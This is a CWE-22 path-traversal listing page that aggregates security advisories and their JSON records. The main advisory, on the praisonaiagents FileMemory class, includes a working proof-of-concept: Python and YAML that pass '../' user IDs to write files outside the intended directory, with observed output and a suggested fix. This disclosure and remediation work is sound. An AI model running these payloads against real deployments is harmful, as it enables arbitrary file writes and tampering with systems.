Common Weakness Enumeration

CWE-22

Allowed-with-Review

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Abstraction: Base · Status: Stable

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

15153 vulnerabilities reference this CWE, most recent first.

GHSA-GXMW-5F7X-6G22

Vulnerability from github – Published: 2026-08-25 15:09 – Updated: 2026-08-25 15:09
VLAI
Summary
praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location
Details

Summary

praisonaiagents/memory/file_memory.py::FileMemory.__init__() constructs all memory file paths by directly joining the user_id parameter to a base path:

self.user_path = self.base_path / user_id      # LINE 145 — no sanitization

No validation or normalization is applied to user_id before the path join. An attacker who can supply a user_id containing ../ sequences can write arbitrary JSON files (memory content) to any writable location on the filesystem.

The vulnerability is confirmed live on the current main branch (praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744 (which covered MultiAgentMonitor in an example file, not FileMemory in the core library).

Details

Vulnerable code — praisonaiagents/memory/file_memory.py lines 139-157:

def __init__(
    self,
    user_id: str = "default",
    base_path: Optional[str] = None,
    ...
):
    ...
    self.user_path = self.base_path / user_id          # LINE 145 — NO SANITIZATION
    self.episodic_path = self.user_path / "episodic"

    self.user_path.mkdir(parents=True, exist_ok=True)  # creates dirs at traversed path
    self.episodic_path.mkdir(parents=True, exist_ok=True)

    self.config_file      = self.user_path / "config.json"
    self.short_term_file  = self.user_path / "short_term.json"
    self.long_term_file   = self.user_path / "long_term.json"
    self.entities_file    = self.user_path / "entities.json"
    self.summaries_file   = self.user_path / "summaries.json"

All five JSON files are written under user_path, which is directly derived from the attacker-controlled user_id. The written content is valid JSON in the memory item format (configurable user content + metadata).

Comparison with the patched reference — praisonaiagents/storage/backends.py (SQLiteBackend):

The sibling SQLiteBackend validates its table_name with a regex:

if not re.match(r'^[a-zA-Z0-9_]+$', table_name):
    raise ValueError(...)

No equivalent validation exists in FileMemory.

Attack chains:

A — Direct Python API (any caller):

from praisonaiagents.memory.file_memory import FileMemory

mem = FileMemory(user_id="../../etc/evil")
mem.add_short_term("injected content")
# Creates /etc/evil/short_term.json  (on Linux)
# Creates C:\evil\short_term.json    (on Windows)

B — Via Agent constructor (memory dict):

from praisonaiagents import Agent

agent = Agent(
    name="assistant",
    memory={"provider": "file", "user_id": "../../etc/evil"},
    instructions="You are a helpful assistant.",
)
# FileMemory(user_id="../../etc/evil") called at agent init

C — Via agents.yaml / job submission (agent_yaml field):

# Submitted via POST /jobs with agent_yaml:
agents:
  researcher:
    memory:
      provider: file
      user_id: "../../tmp/evil"
    role: "Research assistant"
    goal: "Research topics"

agents_generator.py passes the memory.user_id value to the Agent constructor.

PoC

Environment: Python 3.9+, praisonaiagents <= 1.6.52

Step 1 — Verify path escapes base (no dependencies needed):

from pathlib import Path
import tempfile

base = Path(tempfile.gettempdir()) / "praisonai" / "memory"
user_id = "../../../tmp/evil_escape"
user_path = base / user_id

try:
    user_path.resolve().relative_to(base.resolve())
    print("SAFE")
except ValueError:
    print("!!PATH ESCAPES BASE!!")
    print("Writes to:", user_path.resolve())

Output:

!!PATH ESCAPES BASE!!
Writes to: <TMPDIR>/tmp/evil_escape

Step 2 — Live exploit (files written outside base):

import tempfile, json
from pathlib import Path
from praisonaiagents.memory.file_memory import FileMemory

BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory"
BASE.mkdir(parents=True, exist_ok=True)

TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve()

mem = FileMemory(user_id="../../praisonai_path_traversal_proof", base_path=str(BASE))
mem.add_short_term("PROOF_OF_TRAVERSAL: attacker wrote this")
mem.add_long_term("SENSITIVE_DATA", importance=0.9)

# Verify files appeared OUTSIDE the base directory
for fname in ["short_term.json", "long_term.json", "config.json"]:
    f = TARGET / fname
    if f.exists():
        print(f"WRITTEN: {f}")
        print(f"Content: {json.loads(f.read_text())[0]['content'] if fname != 'config.json' else '...'}")

Observed output (run on current main):

WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/short_term.json
Content: PROOF_OF_TRAVERSAL: attacker wrote this
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/long_term.json
Content: SENSITIVE_DATA
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/config.json

Impact

What kind of vulnerability: Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process.

Who is impacted:

  • Any application that creates FileMemory instances with user-controlled user_id
  • Any PraisonAI deployment where users can supply the user_id parameter directly or indirectly (via Agent(memory={"user_id": ...}), agents.yaml, or jobs API)

High-impact scenarios:

  1. Overwrite Python package files: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser.

  2. Overwrite web server / app config: Write config.json or settings.json to an app's configuration directory, potentially modifying runtime behavior.

  3. Cron / startup persistence: Write JSON files to /etc/cron.d/ paths (Linux) or %APPDATA%\Startup\ (Windows) directories that might be interpreted by monitoring systems.

  4. Denial of Service: Write large JSON memory files into system directories, filling disk space or overwriting critical config files.

  5. Multi-tenant deployments: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path.

Distinction from GHSA-766v-q9x3-g744:

GHSA-766v-q9x3-g744 This finding
File examples/context/12_multi_agent_context.py (example) praisonaiagents/memory/file_memory.py (core library)
Class MultiAgentMonitor FileMemory
Fixed in praisonaiagents >= 1.5.115 Not patched (affects 1.6.52)

---

## Remediation Suggestion (for maintainers)

Validate and resolve `user_id` before using it in path construction:

```python
def __init__(self, user_id: str = "default", base_path=None, ...):
    ...
    # ADDED: sanitize user_id
    import re
    if not re.match(r'^[a-zA-Z0-9_\-\.]+$', user_id):
        raise ValueError(
            f"user_id '{user_id}' contains invalid characters. "
            f"Only alphanumeric characters, hyphens, underscores, and dots are allowed."
        )

    self.user_path = self.base_path / user_id

    # ADDED: verify the resolved path is within base (defense-in-depth)
    resolved = self.user_path.resolve()
    base_resolved = self.base_path.resolve()
    try:
        resolved.relative_to(base_resolved)
    except ValueError:
        raise ValueError(
            f"user_id '{user_id}' would write outside the base memory directory."
        )

The same pattern should be applied to base_path parameter.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55527"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T15:09:54Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`praisonaiagents/memory/file_memory.py::FileMemory.__init__()` constructs all\nmemory file paths by directly joining the `user_id` parameter to a base path:\n\n```python\nself.user_path = self.base_path / user_id      # LINE 145 \u2014 no sanitization\n```\n\nNo validation or normalization is applied to `user_id` before the path join.\nAn attacker who can supply a `user_id` containing `../` sequences can write\narbitrary JSON files (memory content) to **any writable location on the filesystem**.\n\nThe vulnerability is confirmed **live on the current `main` branch**\n(`praisonaiagents==1.6.52`) and is **distinct from GHSA-766v-q9x3-g744**\n(which covered `MultiAgentMonitor` in an example file, not `FileMemory` in the\ncore library).\n\n### Details\n\n**Vulnerable code \u2014 `praisonaiagents/memory/file_memory.py` lines 139-157:**\n\n```python\ndef __init__(\n    self,\n    user_id: str = \"default\",\n    base_path: Optional[str] = None,\n    ...\n):\n    ...\n    self.user_path = self.base_path / user_id          # LINE 145 \u2014 NO SANITIZATION\n    self.episodic_path = self.user_path / \"episodic\"\n\n    self.user_path.mkdir(parents=True, exist_ok=True)  # creates dirs at traversed path\n    self.episodic_path.mkdir(parents=True, exist_ok=True)\n\n    self.config_file      = self.user_path / \"config.json\"\n    self.short_term_file  = self.user_path / \"short_term.json\"\n    self.long_term_file   = self.user_path / \"long_term.json\"\n    self.entities_file    = self.user_path / \"entities.json\"\n    self.summaries_file   = self.user_path / \"summaries.json\"\n```\n\nAll five JSON files are written under `user_path`, which is directly derived from\nthe attacker-controlled `user_id`. The written content is valid JSON in the memory\nitem format (configurable user content + metadata).\n\n**Comparison with the patched reference \u2014 `praisonaiagents/storage/backends.py`\n(SQLiteBackend):**\n\nThe sibling `SQLiteBackend` validates its `table_name` with a regex:\n```python\nif not re.match(r\u0027^[a-zA-Z0-9_]+$\u0027, table_name):\n    raise ValueError(...)\n```\nNo equivalent validation exists in `FileMemory`.\n\n**Attack chains:**\n\n*A \u2014 Direct Python API (any caller):*\n```python\nfrom praisonaiagents.memory.file_memory import FileMemory\n\nmem = FileMemory(user_id=\"../../etc/evil\")\nmem.add_short_term(\"injected content\")\n# Creates /etc/evil/short_term.json  (on Linux)\n# Creates C:\\evil\\short_term.json    (on Windows)\n```\n\n*B \u2014 Via `Agent` constructor (memory dict):*\n```python\nfrom praisonaiagents import Agent\n\nagent = Agent(\n    name=\"assistant\",\n    memory={\"provider\": \"file\", \"user_id\": \"../../etc/evil\"},\n    instructions=\"You are a helpful assistant.\",\n)\n# FileMemory(user_id=\"../../etc/evil\") called at agent init\n```\n\n*C \u2014 Via agents.yaml / job submission (`agent_yaml` field):*\n```yaml\n# Submitted via POST /jobs with agent_yaml:\nagents:\n  researcher:\n    memory:\n      provider: file\n      user_id: \"../../tmp/evil\"\n    role: \"Research assistant\"\n    goal: \"Research topics\"\n```\n`agents_generator.py` passes the `memory.user_id` value to the `Agent` constructor.\n\n### PoC\n\n**Environment:** Python 3.9+, `praisonaiagents \u003c= 1.6.52`\n\n**Step 1 \u2014 Verify path escapes base (no dependencies needed):**\n\n```python\nfrom pathlib import Path\nimport tempfile\n\nbase = Path(tempfile.gettempdir()) / \"praisonai\" / \"memory\"\nuser_id = \"../../../tmp/evil_escape\"\nuser_path = base / user_id\n\ntry:\n    user_path.resolve().relative_to(base.resolve())\n    print(\"SAFE\")\nexcept ValueError:\n    print(\"!!PATH ESCAPES BASE!!\")\n    print(\"Writes to:\", user_path.resolve())\n```\n\nOutput:\n```\n!!PATH ESCAPES BASE!!\nWrites to: \u003cTMPDIR\u003e/tmp/evil_escape\n```\n\n**Step 2 \u2014 Live exploit (files written outside base):**\n\n```python\nimport tempfile, json\nfrom pathlib import Path\nfrom praisonaiagents.memory.file_memory import FileMemory\n\nBASE = Path(tempfile.gettempdir()) / \"praisonai_base\" / \"memory\"\nBASE.mkdir(parents=True, exist_ok=True)\n\nTARGET = (BASE / \"../../praisonai_path_traversal_proof\").resolve()\n\nmem = FileMemory(user_id=\"../../praisonai_path_traversal_proof\", base_path=str(BASE))\nmem.add_short_term(\"PROOF_OF_TRAVERSAL: attacker wrote this\")\nmem.add_long_term(\"SENSITIVE_DATA\", importance=0.9)\n\n# Verify files appeared OUTSIDE the base directory\nfor fname in [\"short_term.json\", \"long_term.json\", \"config.json\"]:\n    f = TARGET / fname\n    if f.exists():\n        print(f\"WRITTEN: {f}\")\n        print(f\"Content: {json.loads(f.read_text())[0][\u0027content\u0027] if fname != \u0027config.json\u0027 else \u0027...\u0027}\")\n```\n\n**Observed output (run on current `main`):**\n```\nWRITTEN: \u003cTMPDIR\u003e/praisonai_path_traversal_proof/short_term.json\nContent: PROOF_OF_TRAVERSAL: attacker wrote this\nWRITTEN: \u003cTMPDIR\u003e/praisonai_path_traversal_proof/long_term.json\nContent: SENSITIVE_DATA\nWRITTEN: \u003cTMPDIR\u003e/praisonai_path_traversal_proof/config.json\n```\n\n### Impact\n\n**What kind of vulnerability:** Arbitrary file write via path traversal.\nAny JSON content can be written to any filesystem path writable by the process.\n\n**Who is impacted:**\n\n- Any application that creates `FileMemory` instances with user-controlled `user_id`\n- Any PraisonAI deployment where users can supply the `user_id` parameter directly\n  or indirectly (via `Agent(memory={\"user_id\": ...})`, agents.yaml, or jobs API)\n\n**High-impact scenarios:**\n\n1. **Overwrite Python package files**: On systems where Python packages are stored\n   in a world-writable or user-writable path, JSON files can be written over package\n   files, causing import failures or (in edge cases) execution if a JSON parser is\n   swapped for a Python parser.\n\n2. **Overwrite web server / app config**: Write `config.json` or `settings.json`\n   to an app\u0027s configuration directory, potentially modifying runtime behavior.\n\n3. **Cron / startup persistence**: Write JSON files to `/etc/cron.d/` paths\n   (Linux) or `%APPDATA%\\Startup\\` (Windows) directories that might be interpreted\n   by monitoring systems.\n\n4. **Denial of Service**: Write large JSON memory files into system directories,\n   filling disk space or overwriting critical config files.\n\n5. **Multi-tenant deployments**: In a multi-tenant PraisonAI deployment where\n   users can create agents with custom memory configs, one user can read/overwrite\n   another user\u0027s memory files by traversing to their path.\n\n**Distinction from GHSA-766v-q9x3-g744:**\n\n| | GHSA-766v-q9x3-g744 | This finding |\n|---|---|---|\n| File | `examples/context/12_multi_agent_context.py` (example) | `praisonaiagents/memory/file_memory.py` (core library) |\n| Class | `MultiAgentMonitor` | `FileMemory` |\n| Fixed in | `praisonaiagents \u003e= 1.5.115` | **Not patched** (affects 1.6.52) |\n```\n\n---\n\n## Remediation Suggestion (for maintainers)\n\nValidate and resolve `user_id` before using it in path construction:\n\n```python\ndef __init__(self, user_id: str = \"default\", base_path=None, ...):\n    ...\n    # ADDED: sanitize user_id\n    import re\n    if not re.match(r\u0027^[a-zA-Z0-9_\\-\\.]+$\u0027, user_id):\n        raise ValueError(\n            f\"user_id \u0027{user_id}\u0027 contains invalid characters. \"\n            f\"Only alphanumeric characters, hyphens, underscores, and dots are allowed.\"\n        )\n\n    self.user_path = self.base_path / user_id\n\n    # ADDED: verify the resolved path is within base (defense-in-depth)\n    resolved = self.user_path.resolve()\n    base_resolved = self.base_path.resolve()\n    try:\n        resolved.relative_to(base_resolved)\n    except ValueError:\n        raise ValueError(\n            f\"user_id \u0027{user_id}\u0027 would write outside the base memory directory.\"\n        )\n```\n\nThe same pattern should be applied to `base_path` parameter.",
  "id": "GHSA-gxmw-5f7x-6g22",
  "modified": "2026-08-25T15:09:55Z",
  "published": "2026-08-25T15:09:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gxmw-5f7x-6g22"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` \u2014 path traversal to any writable location"
}

GHSA-GXQJ-2GVR-3P2F

Vulnerability from github – Published: 2025-06-14 09:32 – Updated: 2025-06-14 09:32
VLAI
Details

The Image Resizer On The Fly plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the 'delete' task in all versions up to, and including, 1.1. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-6065"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-14T09:15:25Z",
    "severity": "CRITICAL"
  },
  "details": "The Image Resizer On The Fly plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the \u0027delete\u0027 task in all versions up to, and including, 1.1. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).",
  "id": "GHSA-gxqj-2gvr-3p2f",
  "modified": "2025-06-14T09:32:03Z",
  "published": "2025-06-14T09:32:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6065"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/image-resizer-on-the-fly/trunk/image-resizer-on-the-fly.php#L25"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/image-resizer-on-the-fly"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/14877ff6-e393-41a3-91c1-fe7f477297cc?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GXRP-448Q-JG35

Vulnerability from github – Published: 2022-05-01 23:41 – Updated: 2025-04-09 03:53
VLAI
Details

Multiple directory traversal vulnerabilities in Elastic Path (EP) 4.1 and 4.1.1 allow remote attackers to (1) download arbitrary files via a .. (dot dot) in the file parameter to manager/getImportFileRedirect.jsp, (2) upload arbitrary files via a "..\" (dot dot backslash) in the file parameter to importData.jsp, and (3) list directory contents via a .. (dot dot) in the dir parameter to manager/fileManager.jsp.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-1606"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-04-01T16:44:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple directory traversal vulnerabilities in Elastic Path (EP) 4.1 and 4.1.1 allow remote attackers to (1) download arbitrary files via a .. (dot dot) in the file parameter to manager/getImportFileRedirect.jsp, (2) upload arbitrary files via a \"..\\\" (dot dot backslash) in the file parameter to importData.jsp, and (3) list directory contents via a .. (dot dot) in the dir parameter to manager/fileManager.jsp.",
  "id": "GHSA-gxrp-448q-jg35",
  "modified": "2025-04-09T03:53:11Z",
  "published": "2022-05-01T23:41:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1606"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41356"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41364"
    },
    {
      "type": "WEB",
      "url": "http://developer.elasticpath.com/entry!default.jspa?categoryID=4\u0026externalID=1334"
    },
    {
      "type": "WEB",
      "url": "http://developer.elasticpath.com/entry%21default.jspa?categoryID=4\u0026externalID=1334"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/29496"
    },
    {
      "type": "WEB",
      "url": "http://weblog.nomejortu.com/?p=37"
    },
    {
      "type": "WEB",
      "url": "http://www.mwrinfosecurity.com/publications/mwri_elastic-path-arbitrary-file-system-access_2008-02-22.pdf"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/28352"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-GXV2-P3Q2-HMW6

Vulnerability from github – Published: 2025-08-21 18:31 – Updated: 2025-08-21 21:32
VLAI
Details

An issue in the component /api/download_work_dir_file.py of Agent-Zero v0.8.* allows attackers to execute a directory traversal.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-55523"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-21T18:15:34Z",
    "severity": "LOW"
  },
  "details": "An issue in the component /api/download_work_dir_file.py of Agent-Zero v0.8.* allows attackers to execute a directory traversal.",
  "id": "GHSA-gxv2-p3q2-hmw6",
  "modified": "2025-08-21T21:32:05Z",
  "published": "2025-08-21T18:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55523"
    },
    {
      "type": "WEB",
      "url": "https://github.com/agent0ai/agent-zero/issues/687"
    },
    {
      "type": "WEB",
      "url": "https://github.com/frdel/agent-zero/blob/v0.8.7/python/api/download_work_dir_file.py"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-6166"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GXX3-JHJ6-V22H

Vulnerability from github – Published: 2025-07-21 15:30 – Updated: 2025-07-22 18:30
VLAI
Details

An issue was discovered in CommScope Ruckus Unleashed prior to 200.14.6.1.203 and in Ruckus ZoneDirector, where a path-traversal flaw in the web interface lets the server execute attacker-supplied EJS templates outside permitted directories, allowing a remote unauthenticated attacker who can upload a template (e.g., via FTP) to escalate privileges and run arbitrary template code on the controller.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-46120"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-21T15:15:28Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in CommScope Ruckus Unleashed prior to 200.14.6.1.203 and in Ruckus ZoneDirector, where a path-traversal flaw in the web interface lets the server execute attacker-supplied EJS templates outside permitted directories, allowing a remote unauthenticated attacker who can upload a template (e.g., via FTP) to escalate privileges and run arbitrary template code on the controller.",
  "id": "GHSA-gxx3-jhj6-v22h",
  "modified": "2025-07-22T18:30:40Z",
  "published": "2025-07-21T15:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46120"
    },
    {
      "type": "WEB",
      "url": "https://sector7.computest.nl/post/2025-07-ruckus-unleashed"
    },
    {
      "type": "WEB",
      "url": "https://support.ruckuswireless.com/security_bulletins/330"
    },
    {
      "type": "WEB",
      "url": "http://commscope.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H224-3VC9-HQHF

Vulnerability from github – Published: 2022-05-14 02:20 – Updated: 2022-05-14 02:20
VLAI
Details

/filemanager/ajax_calls.php in tecrail Responsive FileManager before 9.13.4 uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize get_file sequences such as ".." that can resolve to a location that is outside of that directory, aka Directory Traversal.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-15535"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-08-24T19:29:00Z",
    "severity": "HIGH"
  },
  "details": "/filemanager/ajax_calls.php in tecrail Responsive FileManager before 9.13.4 uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize get_file sequences such as \"..\" that can resolve to a location that is outside of that directory, aka Directory Traversal.",
  "id": "GHSA-h224-3vc9-hqhf",
  "modified": "2022-05-14T02:20:58Z",
  "published": "2022-05-14T02:20:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15535"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/45271"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2018/Aug/34"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H224-CFQR-56M8

Vulnerability from github – Published: 2022-05-24 17:48 – Updated: 2024-04-04 03:06
VLAI
Details

Sonatype Nexus Repository Manager 3.x before 3.30.1 allows a remote attacker to get a list of files and directories that exist in a UI-related folder via directory traversal (no customer-specific data is exposed).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-30635"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-27T03:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Sonatype Nexus Repository Manager 3.x before 3.30.1 allows a remote attacker to get a list of files and directories that exist in a UI-related folder via directory traversal (no customer-specific data is exposed).",
  "id": "GHSA-h224-cfqr-56m8",
  "modified": "2024-04-04T03:06:38Z",
  "published": "2022-05-24T17:48:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-30635"
    },
    {
      "type": "WEB",
      "url": "https://support.sonatype.com/hc/en-us/articles/1500006879561"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H226-8Q4Q-5VV3

Vulnerability from github – Published: 2022-05-17 04:13 – Updated: 2025-04-12 12:47
VLAI
Details

Directory traversal vulnerability in TAGAWA Takao TransmitMail 1.0.11 through 1.5.8 allows remote attackers to read arbitrary files via vectors related to attachment handling.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2015-0911"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-04-24T01:59:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in TAGAWA Takao TransmitMail 1.0.11 through 1.5.8 allows remote attackers to read arbitrary files via vectors related to attachment handling.",
  "id": "GHSA-h226-8q4q-5vv3",
  "modified": "2025-04-12T12:47:29Z",
  "published": "2022-05-17T04:13:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-0911"
    },
    {
      "type": "WEB",
      "url": "http://dounokouno.com/2015/04/20/transmitmail-%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6"
    },
    {
      "type": "WEB",
      "url": "http://jvn.jp/en/jp/JVN41653647/index.html"
    },
    {
      "type": "WEB",
      "url": "http://jvndb.jvn.jp/jvndb/JVNDB-2015-000055"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-H22C-HR28-7QXW

Vulnerability from github – Published: 2022-06-03 00:00 – Updated: 2022-06-13 00:00
VLAI
Details

Solutions Atlantic Regulatory Reporting System (RRS) v500 is vulnerable to Local File Inclusion (LFI). Any authenticated user has the ability to reference internal system files within requests made to the RRSWeb/maint/ShowDocument/ShowDocument.aspx page. The server will successfully respond with the file contents of the internal system file requested. This ability could allow for adversaries to extract sensitive data and/or files from the underlying file system, gain knowledge about the internal workings of the system, or access source code of the application.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-29597"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-02T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Solutions Atlantic Regulatory Reporting System (RRS) v500 is vulnerable to Local File Inclusion (LFI). Any authenticated user has the ability to reference internal system files within requests made to the RRSWeb/maint/ShowDocument/ShowDocument.aspx page. The server will successfully respond with the file contents of the internal system file requested. This ability could allow for adversaries to extract sensitive data and/or files from the underlying file system, gain knowledge about the internal workings of the system, or access source code of the application.",
  "id": "GHSA-h22c-hr28-7qxw",
  "modified": "2022-06-13T00:00:20Z",
  "published": "2022-06-03T00:00:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29597"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TheGetch/CVE-2022-29597"
    },
    {
      "type": "WEB",
      "url": "https://solutions-atlantic.com/rrs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H23H-6WGX-RVW7

Vulnerability from github – Published: 2026-07-14 15:32 – Updated: 2026-07-14 15:32
VLAI
Details

A path traversal vulnerability in Tenable Agent 11.2.0 and 11.1.3 and lower allows a privileged attacker to write arbitrary files outside the intended plugin directory, potentially leading to remote code execution.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-15265"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T15:16:57Z",
    "severity": "CRITICAL"
  },
  "details": "A path traversal vulnerability in Tenable Agent 11.2.0 and 11.1.3 and lower allows a privileged attacker to write arbitrary files outside the intended plugin directory, potentially leading to remote code execution.",
  "id": "GHSA-h23h-6wgx-rvw7",
  "modified": "2026-07-14T15:32:17Z",
  "published": "2026-07-14T15:32:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15265"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/tns-2026-18"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
